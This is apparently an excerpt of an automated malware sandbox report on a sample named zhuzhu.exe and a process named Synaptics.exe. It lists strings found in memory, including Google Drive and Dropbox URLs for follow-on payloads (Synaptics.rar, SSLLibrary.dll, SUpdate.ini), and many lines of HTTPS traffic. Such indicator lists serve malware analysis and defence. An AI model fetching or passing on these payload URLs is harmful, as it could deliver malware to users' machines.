Source: Synaptics.exe, 00000002.00000002.2452727101.000000000714C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt1
Source: Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt8
Source: Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtM&
Source: Synaptics.exe, 00000002.00000002.2434252916.000000000062C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadte
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadted
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadth_Yj
Source: Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtiPKB_o
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtion-
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtleni
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadts
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtubec
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.00000000005DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1775678113.000000000064C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000065D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadu
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadu-
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadu2
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadud
Source: Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadurHJZ
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadurce.
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadus;
Source: Synaptics.exe, 00000002.00000002.2434252916.000000000062C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1775678113.000000000064C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadute.
Source: Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2535106563.000000001CFC6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2482309150.000000000E5CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadv
Source: Synaptics.exe, 00000002.00000002.2452727101.000000000710C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadv6
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadv=
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadveY
Source: Synaptics.exe, 00000002.00000002.2434252916.00000000005DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadviGc
Source: Synaptics.exe, 00000002.00000002.2452727101.000000000714C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadvn
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2531561375.000000001CEF1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadw
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000062C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadx
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadx1
Source: Synaptics.exe, 00000002.00000002.2434252916.000000000062C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadx6c
Source: Synaptics.exe, 00000002.00000002.2505301533.0000000015E3E000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadxM
Source: Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadxsMXG
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000065D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloady
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloady1
Source: Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloady9
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloady:
Source: Synaptics.exe, 00000002.00000002.2445947557.00000000053A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloady=w_#
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.000000000710C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyor.
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyor..
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyor..yy
Source: Synaptics.exe, 00000002.00000002.2484430654.000000000E687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyp
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2445947557.00000000053A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2535106563.000000001CFC6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2482309150.000000000E5CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadz
Source: Synaptics.exe, 00000002.00000002.2452727101.00000000070A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadz-
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadzjE
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadzz
Source: Synaptics.exe, 00000002.00000002.2434252916.00000000005DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2482309150.000000000E5CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download~
Source: zhuzhu.exe, 00000000.00000003.1670210944.00000000026B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloX
Source: zhuzhu.exe, 00000000.00000003.1670210944.00000000026B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloXO
Source: Synaptics.exe, 00000002.00000003.1744249799.00000000005FF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2443214761.0000000002290000.00000004.00001000.00020000.00000000.sdmp, zhuzhu.exe, ~DF163C59614BB26FC3.TMP.3.dr, ~$cache1.2.dr, Synaptics.exe.0.dr	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download
Source: Synaptics.exe, 00000002.00000002.2443214761.0000000002290000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloadN
Source: Synaptics.exe, 00000002.00000002.2482309150.000000000E5CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.a
Source: Synaptics.exe, 00000002.00000002.2445947557.00000000053A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2535106563.000000001CFC6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1770138974.000000000543D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2528045833.000000001CE63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: Synaptics.exe, 00000002.00000002.2445947557.00000000053A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/N=
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/dK
Source: Synaptics.exe, 00000002.00000002.2528045833.000000001CE63000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E63D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2535106563.000000001CF9F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.00000000005F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Source: Synaptics.exe, 00000002.00000002.2434252916.00000000005DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$
Source: Synaptics.exe, 00000002.00000002.2445947557.00000000053A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJ04
Source: Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadPragma:
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadV%
Source: Synaptics.exe, 00000002.00000002.2483669386.000000000E63F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadc
Source: Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcH
Source: Synaptics.exe, 00000002.00000002.2445947557.00000000053A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadj
Source: Synaptics.exe, 00000002.00000002.2528045833.000000001CE63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt
Source: zhuzhu.exe, 00000000.00000003.1670210944.00000000026B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=
Source: Synaptics.exe, 00000002.00000003.1744249799.00000000005FF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2443214761.0000000002290000.00000004.00001000.00020000.00000000.sdmp, zhuzhu.exe, ~$cache1.2.dr, Synaptics.exe.0.dr	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1
Source: Synaptics.exe, 00000002.00000002.2443214761.0000000002290000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1:
Source: Synaptics.exe, 00000002.00000003.1744249799.00000000005FF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2443214761.0000000002290000.00000004.00001000.00020000.00000000.sdmp, zhuzhu.exe, ~$cache1.2.dr, Synaptics.exe.0.dr	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1
Source: Synaptics.exe, 00000002.00000002.2443214761.0000000002290000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=16
Source: zhuzhu.exe, 00000000.00000003.1670210944.00000000026B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dlX
Source: Synaptics.exe, 00000002.00000003.1744249799.00000000005FF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2443214761.0000000002290000.00000004.00001000.00020000.00000000.sdmp, zhuzhu.exe, ~DF163C59614BB26FC3.TMP.3.dr, ~$cache1.2.dr, Synaptics.exe.0.dr	String found in binary or memory: https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1
Source: Synaptics.exe, 00000002.00000002.2443214761.0000000002290000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1:
Source: ._cache_zhuzhu.exe, 00000001.00000003.1771155564.0000000000B57000.00000004.00000020.00020000.00000000.sdmp, ._cache_zhuzhu.exe, 00000001.00000002.1773595012.0000000000B64000.00000004.00000020.00020000.00000000.sdmp, ._cache_zhuzhu.exe, 00000001.00000003.1771077383.0000000000B65000.00000004.00000020.00020000.00000000.sdmp, ._cache_zhuzhu.exe, 00000001.00000002.1779229502.0000000005DCB000.00000004.00000010.00020000.00000000.sdmp, inst.exe, 00000007.00000003.1803411074.0000000003BAC000.00000004.00000020.00020000.00000000.sdmp, inst.exe, 00000007.00000003.1803199164.0000000003D3D000.00000004.00000020.00020000.00000000.sdmp, sites.dll.7.dr, 360P2SP.dll.7.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: zhuzhu.exe, 00000000.00000000.1657356123.00000000004A5000.00000002.00000001.01000000.00000003.sdmp, zhuzhu.exe, 00000000.00000003.1666861585.00000000067FE000.00000004.00000020.00020000.00000000.sdmp, ._cache_zhuzhu.exe, 00000001.00000000.1663851009.0000000000401000.00000020.00000001.01000000.00000005.sdmp, ._cache_zhuzhu.exe.1.dr, ._cache_zhuzhu.exe.0.dr, Synaptics.exe.0.dr	String found in binary or memory: https://www.incredibuild.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
